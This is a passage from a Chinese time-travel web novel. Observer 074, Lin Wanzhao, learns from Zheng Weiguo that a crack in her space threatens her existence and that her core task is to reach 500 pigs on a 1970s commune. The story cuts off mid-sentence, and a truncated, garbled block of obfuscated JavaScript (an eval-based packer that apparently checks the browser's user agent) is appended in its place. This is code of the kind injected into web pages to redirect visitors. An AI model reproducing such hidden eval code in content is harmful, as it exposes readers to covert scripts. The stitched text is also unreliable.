缝。如果不及时修复，裂缝会扩大，最终可能导致……”

    “导致什么？”

    “导致你这个观测点被抹除。”郑卫国的声音很平静，但话里的内容让人不寒而栗，“连带你在这个时间点存在过的所有痕迹。”

    房间里又安静下来。

    楼下传来服务员推着清洁车的声音，轱辘在水泥地上滚动，吱呀吱呀的。远处有自行车铃声，叮铃铃的，带着七十年代特有的节奏。

    林晚照端起那缸温水，喝了一口。水已经凉了，顺着食道滑下去，冷到胃里。

    “怎么修复？”她问。

    “完成你的核心任务。”郑卫国说，“每个观测员都有个核心任务，这是稳定时空锚点的关键。你的任务是什么，镯子会告诉你。”

    林晚照下意识摸向手腕。银镯温润，但此刻却感觉沉重无比。

    “我怎么知道你说的是真的？”她抬起头，盯着郑卫国。

    郑卫国从怀里掏出个笔记本，翻开，推到林晚照面前。上面是手写的记录，字迹工整：

    1975.3.15，观测员074号降临，红星公社知青点。初始状态：营养不良，体重41kg，携带基础生存物资……

    1975.6.22，首次使用灵泉，治愈同屋知青李秀英的慢性咳嗽……

    1975.10.3，提交科学养猪方案，触发历史微调节点……

    记录一直写到昨天，连她和周明远对峙的细节都有。

    “这是你的观测日志。”郑卫国说，“每个观测员都要写。你的那份，应该在空间里。”

    林晚照闭上眼睛，意识沉入空间。

    黑土地边缘，裂缝旁边，不知什么时候多了个木箱。她以前从未注意过——或者说，这个箱子是刚刚出现的。

    箱子没锁，打开，里面是一摞笔记本。最上面那本的封面上写着：观测员074号工作日志。

    她翻开第一页。

    1975年3月15日，晴。穿越成功，坐标确认。当前任务：在红星公社建立稳定观测点，存活至1977年12月……

    字迹是她的，但她完全不记得自己写过这些。

    意识回到现实，林晚照的脸色有些苍白。

    “现在相信了？”郑卫国问。

    “为什么现在才告诉我这些？”

    “因为之前没必要。”郑卫国又点了支烟，“按照计划，观测员之间不应该直接接触，除非出现异常。你的空间裂缝就是异常。而且……”

    他顿了顿，烟雾后的眼睛眯起来：“而且我怀疑，有人故意制造了这个异常。”

    “谁？”

    “不知道。”郑卫国摇头，“可能是‘守夜人’内部的激进派，也可能是别的什么势力。时空干预是个敏感的领域，有很多人想从中牟利。”

    林晚照想起裂缝里那些未来的声音。价格双轨制，乡镇企业，1984年……

    “裂缝里的声音，是未来的信息泄露？”

    “对。”郑卫国点头，“裂缝连接了不同时间点，导致信息流混乱。如果不尽快修复，泄露的信息会越来越多，最终可能引发时空悖论。”

    “那我的核心任务到底是什么？”林晚照追问，“日志里只说要建立观测点，存活到1977年，这太模糊了。”

    郑卫国从笔记本里抽出一张纸，递过来。纸是那种机关用的便笺纸，抬头印着县计委的红字。

    上面写着一行指令：

    观测员074号核心任务：在1977年冬季之前，使红星公社生猪存栏量达到500头，农民人均年收入提高50%。任务完成，时空锚点稳定。任务失败，观测点抹除。

    林晚照盯着那行字，手指微微发抖。

    五百头猪。人均收入提高50%。

    现在是1975年底，红星公社的生猪存栏量

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c